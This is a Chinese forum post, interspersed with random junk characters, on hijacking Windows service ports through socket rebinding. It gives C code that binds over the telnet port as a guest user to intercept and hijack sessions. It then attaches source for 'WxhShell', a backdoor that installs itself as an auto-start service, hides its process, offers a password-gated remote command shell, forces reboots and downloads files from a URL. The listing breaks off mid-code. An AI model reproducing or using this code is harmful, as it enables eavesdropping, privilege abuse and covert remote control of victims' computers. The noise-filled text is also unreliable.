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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0a XPPnuX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7x%R:^*4  
P&^;656r  
  saddr.sin_family = AF_INET; oc>{?.^  
R1$:~p2m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %#xaA'? [  
x5-}h*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `M^= D&Bf  
o9dY9o+Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Tq[kl'_  
2OVRf0.R~  
  这意味着什么?意味着可以进行如下的攻击: '|8} z4/g  
%2{ %Obp'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +Z !)^j  
kTu[ y;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M:[ %[+6  
(Fhs"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9 %I?).5  
SPY|K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  NRIG1v>  
Zy?Hi`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b((M)Gz  
E^/t$M|H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >\P@^ h]  
b)qoh^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !W}9no  
R5 - @  
  #include .yqM7U_  
  #include Z8@J`0x  
  #include R\G0'?h >  
  #include    7'W%blg!V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IID-k  
  int main() 1VG4S){}\9  
  { d\|?-hY`[  
  WORD wVersionRequested;  ~- _kM  
  DWORD ret; r")`Ph@yp  
  WSADATA wsaData; Ez fN&8E  
  BOOL val; %In A+5s`  
  SOCKADDR_IN saddr; t!W(_8j  
  SOCKADDR_IN scaddr; C.Kh [V\Ut  
  int err; KWowN;  
  SOCKET s; -w}]fb2Q>  
  SOCKET sc; `(ue63AZ  
  int caddsize; D%OQ e#!  
  HANDLE mt; jHE}qE~>5  
  DWORD tid;   j<V Fn~*_  
  wVersionRequested = MAKEWORD( 2, 2 ); Q  Nh|Wz  
  err = WSAStartup( wVersionRequested, &wsaData ); \IV1j)I"u  
  if ( err != 0 ) { (_mnB W  
  printf("error!WSAStartup failed!\n"); @"Fme-~  
  return -1; .f%fHj  
  } (|:M&Cna]  
  saddr.sin_family = AF_INET; bMg(B-uF7  
   Rg\z<wPBG  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eTI%^d|  
la0BiLzb]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P;=n9hgHI  
  saddr.sin_port = htons(23); DCIxRPw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4B =7:r  
  { ^84G%)`&  
  printf("error!socket failed!\n"); GK )?YM  
  return -1; z;{iM/Xe  
  } NO "xL,  
  val = TRUE; 0%&1\rm+j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;f0I 8i,JN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y~ AVei&  
  { c }Ft^Il  
  printf("error!setsockopt failed!\n"); a oD`=I*<  
  return -1; /32Fy`KV  
  } TyD4|| %  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Cc+t}"^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D.B.7-_8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R} eN@#"D  
y I HXg#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2h|MXI\g  
  { 2iY3Lsna  
  ret=GetLastError(); FcR=v0),  
  printf("error!bind failed!\n"); Y_;#UU689  
  return -1; b3&zjjQ  
  } tX9{hC^  
  listen(s,2); ?{P"O!I{  
  while(1) *g:4e3Iy  
  { !O+) sbd<  
  caddsize = sizeof(scaddr); RkH W   
  //接受连接请求 ^=BTz9QM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Yl4^AR&  
  if(sc!=INVALID_SOCKET) 9Tg IB  
  { _GXk0Ia3`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R@58*c:U(  
  if(mt==NULL) v~f HYa>  
  { NO7J!k?  
  printf("Thread Creat Failed!\n"); _Zp}?b5Q  
  break; _(_a*ml  
  } 1Ce@*XBU  
  } 6LOnU~l,  
  CloseHandle(mt); !POl;%\  
  } u!!Y=!y*<  
  closesocket(s); `> 7; !  
  WSACleanup(); b(*!$EB  
  return 0; dT`D:)*:  
  }   fV &KM*W*@  
  DWORD WINAPI ClientThread(LPVOID lpParam) @)UZ@ ~R  
  { 6.CbAi3Z  
  SOCKET ss = (SOCKET)lpParam; K#%&0D!  
  SOCKET sc; %7"q"A r[  
  unsigned char buf[4096]; `>gd&u  
  SOCKADDR_IN saddr; > A Khf  
  long num; Qi ua  
  DWORD val; u8gS< \  
  DWORD ret; HKU~UTRnZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ujDd1Bxf?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0C =3dnp6  
  saddr.sin_family = AF_INET; 4iqoR$3Fc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); whmdcVh.  
  saddr.sin_port = htons(23); ?+_Gs;DGVE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GQt8p[!  
  { @XgKYm   
  printf("error!socket failed!\n"); H2&@shOOQJ  
  return -1; NE"@Bk cm  
  } J@^8ko  
  val = 100; kY&k-K\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^"VJd[Hn  
  { 1 9&<|qTz  
  ret = GetLastError(); "w^!/  
  return -1; {E p0TVj`  
  } {\S+#W\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VbJiZw(aR  
  { ;'?l$ ._  
  ret = GetLastError(); @E^~$-J5j  
  return -1; Qt iDTr  
  } `{eyvW[Ks  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "JVkVp[5D+  
  { TMAJb+@l:  
  printf("error!socket connect failed!\n"); qHsUP;7  
  closesocket(sc); vqnw#U4`  
  closesocket(ss); us ;YV<)d  
  return -1; m#8m] Y  
  } ?Eg(Gu.J  
  while(1) 0Oi,#]F  
  { NS9B[*"Jl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3!3xCO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #hW;Ju73  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *YW/_  
  num = recv(ss,buf,4096,0); AK&S5F>D+B  
  if(num>0) J c g,#@  
  send(sc,buf,num,0); Tu@8}C  
  else if(num==0) sC27FVwo  
  break; BS /G("oZ[  
  num = recv(sc,buf,4096,0); e`@ # *}A  
  if(num>0) .clP#r{U  
  send(ss,buf,num,0); ?f#y1m  
  else if(num==0) /+8JCp   
  break; $i&e[O7T;  
  } #%`|~%`{:  
  closesocket(ss); ZZWD8 AX  
  closesocket(sc); m*ISa(#(,  
  return 0 ; D5$wTI  
  } 8 ![|F:  
4Yxo~ m(  
 '/`= R  
========================================================== ?bPRxR  
ykv94i?Q  
下边附上一个代码,,WXhSHELL |w_7_J2  
6Ca(U'  
========================================================== &Q+Ln,(&L  
=6woWlfb  
#include "stdafx.h" 9w"h  
F\fWvXdW  
#include <stdio.h> h lkn%  
#include <string.h> 0%,!jW{`  
#include <windows.h> I*LknU@  
#include <winsock2.h> >fe- d#!{  
#include <winsvc.h> RD\  
#include <urlmon.h> %R@X>2l/_  
+cIUGF p}  
#pragma comment (lib, "Ws2_32.lib") D-8O+.@  
#pragma comment (lib, "urlmon.lib") < XP9@t&  
.}'qUPNR  
#define MAX_USER   100 // 最大客户端连接数 D<|qaHB=  
#define BUF_SOCK   200 // sock buffer UQ'\7OS  
#define KEY_BUFF   255 // 输入 buffer eK.e| z|  
/<E5"Mm%  
#define REBOOT     0   // 重启 W4[V}s5u  
#define SHUTDOWN   1   // 关机 !xP8# |1  
ZaeqOVp/j  
#define DEF_PORT   5000 // 监听端口 n.wF&f'D]  
HHiT]S9  
#define REG_LEN     16   // 注册表键长度 k:JrHBKv\  
#define SVC_LEN     80   // NT服务名长度 N5*u]j  
CF+_/s#j^  
// 从dll定义API &n6$rBr %  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *F ? 8c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +6UVn\9Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b`)){LR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q@ 2i~Qo[  
*:>"q ej  
// wxhshell配置信息 f` :i.Sr  
struct WSCFG { 7h6,c/<  
  int ws_port;         // 监听端口 )N=NR2xBZ  
  char ws_passstr[REG_LEN]; // 口令 4Fp0ZVT  
  int ws_autoins;       // 安装标记, 1=yes 0=no ._8KsuJG  
  char ws_regname[REG_LEN]; // 注册表键名 Vnx,5E&  
  char ws_svcname[REG_LEN]; // 服务名 _Dym{!t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a["2VY6Eq@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]4h92\\965  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @) s,{F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G2t;DN(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j'%$XvI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g)s{ IAVx  
*.\  
}; zunV<2~(2}  
\"CZI<=TB  
// default Wxhshell configuration *g y{]  
struct WSCFG wscfg={DEF_PORT, PUo/J~v  
    "xuhuanlingzhe", uHAT#\m:  
    1,  1WY/6[  
    "Wxhshell", 8>X d2X  
    "Wxhshell", )Psb>'X  
            "WxhShell Service", X5X?&* %{  
    "Wrsky Windows CmdShell Service", cgl*t+o&  
    "Please Input Your Password: ", kqce[hgs<  
  1, 2zVJvn7  
  "http://www.wrsky.com/wxhshell.exe", @;<ht c  
  "Wxhshell.exe" AZa 6 C w  
    }; k]5Bykf`Ky  
mN!lo;m5  
// 消息定义模块 h~(G$':^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6U[4%(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NZ/yBOD(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S,<EEtXQ  
char *msg_ws_ext="\n\rExit."; wY~&Q}U  
char *msg_ws_end="\n\rQuit."; zX0md x<|<  
char *msg_ws_boot="\n\rReboot..."; TjHwjRa  
char *msg_ws_poff="\n\rShutdown..."; fv`O4  
char *msg_ws_down="\n\rSave to "; z)z{3rR|PW  
p98~&\QT  
char *msg_ws_err="\n\rErr!"; *xON W  
char *msg_ws_ok="\n\rOK!"; :um|nRwy9  
E<C&Cjz:H  
char ExeFile[MAX_PATH]; YO}1(m  
int nUser = 0; FXzFHU/dP  
HANDLE handles[MAX_USER]; N\HQN0d9  
int OsIsNt; Eh =~T9  
O~59FuL  
SERVICE_STATUS       serviceStatus; INkD=tX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *^RmjW1I  
lW(px^&IN  
// 函数声明 ;=<-5;rI  
int Install(void); (y?I Tz9  
int Uninstall(void); }|5 V RJA  
int DownloadFile(char *sURL, SOCKET wsh); Ya;9]k8,  
int Boot(int flag); `.T}=j|  
void HideProc(void); J?Dq>%+ ^  
int GetOsVer(void); ithewup  
int Wxhshell(SOCKET wsl); `ORECg)  
void TalkWithClient(void *cs); D K=cVpN%s  
int CmdShell(SOCKET sock); n+BJxu?  
int StartFromService(void); jL^](J>  
int StartWxhshell(LPSTR lpCmdLine); WdZ:K,  
t=u  Qb=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %e`$p=m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $uap8nN  
zH>hx5,k'X  
// 数据结构和表定义 c\ia6[3sX  
SERVICE_TABLE_ENTRY DispatchTable[] = ?Q-h n:F)  
{ cuK,X!O  
{wscfg.ws_svcname, NTServiceMain}, NM0tp )h  
{NULL, NULL} YKbaf(K )9  
}; <)\y#N  
z81esXl  
// 自我安装 9 _QP!,  
int Install(void) = <j"M85.  
{ 0]D{Va  
  char svExeFile[MAX_PATH]; wtT}V=_  
  HKEY key; t ^[8RhD  
  strcpy(svExeFile,ExeFile); Q2A7mGN  
@ JvPx0  
// 如果是win9x系统,修改注册表设为自启动 hzI|A~MFB  
if(!OsIsNt) { >@ YtDl8R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -F=v6N{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?H_ LX;r  
  RegCloseKey(key); ,^gyH \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Pw*_2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7T"XPV|W6  
  RegCloseKey(key); TZt jbD>B  
  return 0; T ]j.=|,d  
    } aA'|Rg,  
  } dgDy5{_  
} ->h6j  
else { /'Pd`Nxl.  
7HVZZ!>~  
// 如果是NT以上系统,安装为系统服务 9}c8Xt^&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .TE?KI   
if (schSCManager!=0) O:{U^K:*  
{ l~D N1z6`  
  SC_HANDLE schService = CreateService sHcTd>xS  
  ( :QWq"cBem  
  schSCManager, 11|Rdd+}  
  wscfg.ws_svcname, \}~s2Y5j  
  wscfg.ws_svcdisp, kNT}dv]<  
  SERVICE_ALL_ACCESS, >|6iR%"f#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lNv".Y=l  
  SERVICE_AUTO_START, =?h~.lo  
  SERVICE_ERROR_NORMAL, lCF `*DM#  
  svExeFile, 2"fO6!hh  
  NULL, ~2d:Q6  
  NULL, zZiJ 9 e  
  NULL, c8Q]!p+Yp  
  NULL, U!XS;a)  
  NULL U$H @ jJ*  
  ); 4d_s%n?C  
  if (schService!=0) w'X]M#Q><  
  { V:/7f*n7  
  CloseServiceHandle(schService); Gn)y> AN  
  CloseServiceHandle(schSCManager); +,v-=~5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M0| 'f'  
  strcat(svExeFile,wscfg.ws_svcname);  KluA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SEl#FWR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y F:2>w<  
  RegCloseKey(key); xyH/e*a  
  return 0; =SD\Q!fA  
    } NZN-^ >  
  } ]O{u tm  
  CloseServiceHandle(schSCManager); +%N KQ'49I  
} AM} brO  
} G5D2oQa=8  
ecOy6@UDY  
return 1; pium$4l2#  
} $KjTa#[RX7  
\Hqc 9&0  
// 自我卸载 Q,Z*8FH=  
int Uninstall(void) DWt*jX*  
{  ==/n(LBD  
  HKEY key; BpO9As 1um  
69kJC/1+l  
if(!OsIsNt) { rOD1_X-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Voh hQ  
  RegDeleteValue(key,wscfg.ws_regname); E?PGu!&u  
  RegCloseKey(key); +VEU:1Gt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7:h!Wj -a]  
  RegDeleteValue(key,wscfg.ws_regname); |m,VTViv;i  
  RegCloseKey(key); ,pq{& A  
  return 0; [O-sVYB  
  } ID1?PM  
} LF*Q!  
} y?30_#[dN  
else { AF4?IH  
l{P\No  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oJ*1>7[J  
if (schSCManager!=0) +rNkN:/L  
{ W VkR56  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ++[5q+b  
  if (schService!=0) }bB` (B,m  
  { ~3WL)%  
  if(DeleteService(schService)!=0) { ,:v&4x&=  
  CloseServiceHandle(schService); ;n#%G^!H  
  CloseServiceHandle(schSCManager); p4X{"Z\mn  
  return 0; ,<ya@Fi{  
  } 4ax|Vb)D  
  CloseServiceHandle(schService); s[3fqdLP&  
  } O>DNC-m)i{  
  CloseServiceHandle(schSCManager); ),@f6](  
} UWG+#,1J.\  
} sLcY,AH  
s<T?pH  
return 1; ,ul5,ygA  
} Ruh)^g  
Mpx/S<Z  
// 从指定url下载文件 )3?rXsSR  
int DownloadFile(char *sURL, SOCKET wsh) 'u[%}S38  
{ &d$~6'x*  
  HRESULT hr; >w'$1tc?+F  
char seps[]= "/"; v ahoSc;sw  
char *token; 2P~)I)3V  
char *file; 18!VO4u\I  
char myURL[MAX_PATH]; QocQowz  
char myFILE[MAX_PATH]; P{oAObP%  
z%"Ai)W/{  
strcpy(myURL,sURL); ^7XAw: ?  
  token=strtok(myURL,seps); )&1!xF   
  while(token!=NULL) #1Z7&#R/  
  { *{/@uO  
    file=token; Q</h-skLZ  
  token=strtok(NULL,seps); BnEdv8\,&s  
  } ,ECAan/@  
Z[IM<S9lz  
GetCurrentDirectory(MAX_PATH,myFILE); 2cnj@E:5l  
strcat(myFILE, "\\"); f]_mzF=&  
strcat(myFILE, file); g6' !v  
  send(wsh,myFILE,strlen(myFILE),0); != zx  
send(wsh,"...",3,0); ~$aTM_4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @phN|;?  
  if(hr==S_OK) H7e /  
return 0; W);W.:F  
else oX|?:MS:  
return 1; nxRwWj57  
z}APR@?`n8  
} cf*zejbw  
T\3[F%?  
// 系统电源模块 `jW 4H$D  
int Boot(int flag) 8R/ *6S=&  
{ 1_3?R }$Wl  
  HANDLE hToken; )Qr6/c 8}  
  TOKEN_PRIVILEGES tkp; {%7<"  
VD;j[~/Z  
  if(OsIsNt) { nLd~2qBuv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5b fb!7-[i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hWxT!  
    tkp.PrivilegeCount = 1; lPS*-p#IZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U"x~Jb3]O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j`9Nwa  
if(flag==REBOOT) { *gSO&O=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !3x *k;0  
  return 0; 3U o]> BG  
} )Pa*+ew7  
else { Q?]w{f(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sY^lQN  
  return 0; '>]&rb09|  
} ?Ccw4]YO,=  
  } uN(b.5y  
  else { =LqL@5Xr  
if(flag==REBOOT) { O\JD,w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &CO| Y(+  
  return 0; :p$EiR  
} kxy]vH6m  
else { 2:~cJk{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 25&nwz  
  return 0; 9 P~d:'Ib  
} N1s.3`  
} #{~7G%GPY5  
8>d q=0:  
return 1; $2is3;h  
} <vLdBfw&N  
-;<>tq'3`  
// win9x进程隐藏模块 R( GmU4  
void HideProc(void) w Oj88J)  
{ j`hNZ%a  
9nO(xJ"e4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6~3jn+K$1  
  if ( hKernel != NULL ) H}a)^90_  
  { bkkSIl+Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Seg#s.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?4MSgu  
    FreeLibrary(hKernel); +/(|?7i@  
  } ,b4~!V  
o[n<M> @  
return; _ Q{T';  
} /Go>5 B>  
q$|0)}  
// 获取操作系统版本 v10mDr  
int GetOsVer(void) MN\i-vAL8  
{ Z$1.^H.Db  
  OSVERSIONINFO winfo; *b:u * `@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &b!vWX1N  
  GetVersionEx(&winfo); .@Hmg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ),M U+*`  
  return 1; 'Z59<Ya&x  
  else p8$\uo9YQ  
  return 0; T^d#hl.U  
} #gF2(iK6  
gj[z ka0_  
// 客户端句柄模块 >G<4R o"  
int Wxhshell(SOCKET wsl) :a=ro2NH  
{ =!(S<];  
  SOCKET wsh; .zQ4/  
  struct sockaddr_in client; i0VhG :O;  
  DWORD myID; =.VepX|?D  
/L)?> tg  
  while(nUser<MAX_USER) FK-}i|di  
{ M\9at\$  
  int nSize=sizeof(client); <zfO1~^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0W;q!H[G  
  if(wsh==INVALID_SOCKET) return 1; _RN/7\  
'uws  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *Ro8W-+  
if(handles[nUser]==0) 7qW.h>%WE  
  closesocket(wsh); n'! -Pv  
else 0Ddn@!J*  
  nUser++; mipi]*ZfXE  
  } ] ,!\IqO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zC<'fT/rG  
l0eANB%Y=@  
  return 0; s'R~ r  
} qPp1:a"   
*K]>}  
// 关闭 socket cjCE3V9X  
void CloseIt(SOCKET wsh) hVQ7'@  
{ pI'8>_o  
closesocket(wsh); plzE  
nUser--; tpN]evp|  
ExitThread(0); Q,[rrG;?@  
} P}ehNt*($  
nL 1IS  
// 客户端请求句柄 ~5-~q0Ge  
void TalkWithClient(void *cs) (2\li{$e  
{ \9dz&H  
~Da >{zHt  
  SOCKET wsh=(SOCKET)cs; P58\+9d_  
  char pwd[SVC_LEN]; {LR#(q$1  
  char cmd[KEY_BUFF]; 4v rm&k  
char chr[1]; nEjo,   
int i,j; &. |;yt%v  
/ig^7+#  
  while (nUser < MAX_USER) { 9$B)hrJo  
O^QR;<t'  
if(wscfg.ws_passstr) { O[i2A (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 31 KDeFg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $bF`PGR_  
  //ZeroMemory(pwd,KEY_BUFF); fJSV)\e0  
      i=0; &-EyM*:u!  
  while(i<SVC_LEN) { E9~&f^f  
)W_ Y3M,  
  // 设置超时 Y/?DSo4G  
  fd_set FdRead; mI{CM: :  
  struct timeval TimeOut; *@b~f&Lx6  
  FD_ZERO(&FdRead); R47I\{  
  FD_SET(wsh,&FdRead); rRF+\cP?.  
  TimeOut.tv_sec=8; DYy@t^sC  
  TimeOut.tv_usec=0; ND)M3qp2(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \rw'QAi8r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "GIg| 3  
rm7*l<v6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W#oEF/G  
  pwd=chr[0]; @E&X &F%  
  if(chr[0]==0xd || chr[0]==0xa) { (+]Ig> t  
  pwd=0; ynOc~TN  
  break; ;I0yQlx|U  
  } DbPBgD>Q  
  i++; j,gM+4V^  
    } qB` 0^V  
&L[8Mju6  
  // 如果是非法用户,关闭 socket {kY`X[fvZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5jj5 7j"  
} @eG#%6">  
//4p1^%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <7RkM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ay[9k=q]  
0zq\ j  
while(1) { CM@"lV_  
;Kq<',u~  
  ZeroMemory(cmd,KEY_BUFF); lzQ&)7`  
;#Crh}~  
      // 自动支持客户端 telnet标准   :`!mCW`Q-  
  j=0; 2-B8>-   
  while(j<KEY_BUFF) { g'l7Jr3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KlSY^(kHR  
  cmd[j]=chr[0]; PHB\)/  
  if(chr[0]==0xa || chr[0]==0xd) { Hf E;$  
  cmd[j]=0; )Lv6vnT>  
  break; .jG.90  
  } !UPAEA  
  j++; p_kTLNZd9  
    } hF{mm(qyv  
::Ve,-0  
  // 下载文件 T J"{nB  
  if(strstr(cmd,"http://")) { ;tIIEc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {3 yws 4  
  if(DownloadFile(cmd,wsh)) &<; nl^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [+[fD  
  else y5opdIaT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nh_xbo5L[  
  } F\$}8,9  
  else { )-6[ Bw  
jind!@}!  
    switch(cmd[0]) { ?)ZLxLV::  
  =F; ^^VX  
  // 帮助 %>QSeX  
  case '?': { xdSj+507  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UW~tS  
    break; [E&"9%K  
  } N6 Cc%,  
  // 安装 _KlPbyLU  
  case 'i': { (4/`@;[  
    if(Install()) "Mu $3 w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*#E aL  
    else u=?P*Y/|W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l[ OQo|_  
    break; iS^^Z ZyR  
    } Mdq'> <ajL  
  // 卸载 P<w>1 =  
  case 'r': { gj(l&F *@  
    if(Uninstall()) [ @71  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r:b.>5CS)  
    else Lzb [%?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sv[_BP\^h  
    break; D_`)T;<Sp  
    } t`/RcAwA  
  // 显示 wxhshell 所在路径 (%^TTe  
  case 'p': { a}8>(jtSt  
    char svExeFile[MAX_PATH]; pPqbD}p  
    strcpy(svExeFile,"\n\r"); Bk(XJAjY  
      strcat(svExeFile,ExeFile); Kh_>Vm/  
        send(wsh,svExeFile,strlen(svExeFile),0); EwJn1Mvq  
    break; l<:)rg^,  
    } t@mw f3,  
  // 重启 6j.(l4}  
  case 'b': { z[I/ AORl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;R>42 qYF  
    if(Boot(REBOOT)) YRX2^v ^[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bSKV|z/x  
    else { h.0&)t\q"  
    closesocket(wsh); GoGgw]h>x  
    ExitThread(0); "h|0]y^2  
    } ' =s*DL`0  
    break; YV+dUvz  
    } rY+1s^F  
  // 关机 g0 U\AN  
  case 'd': { "U~@o4u;  
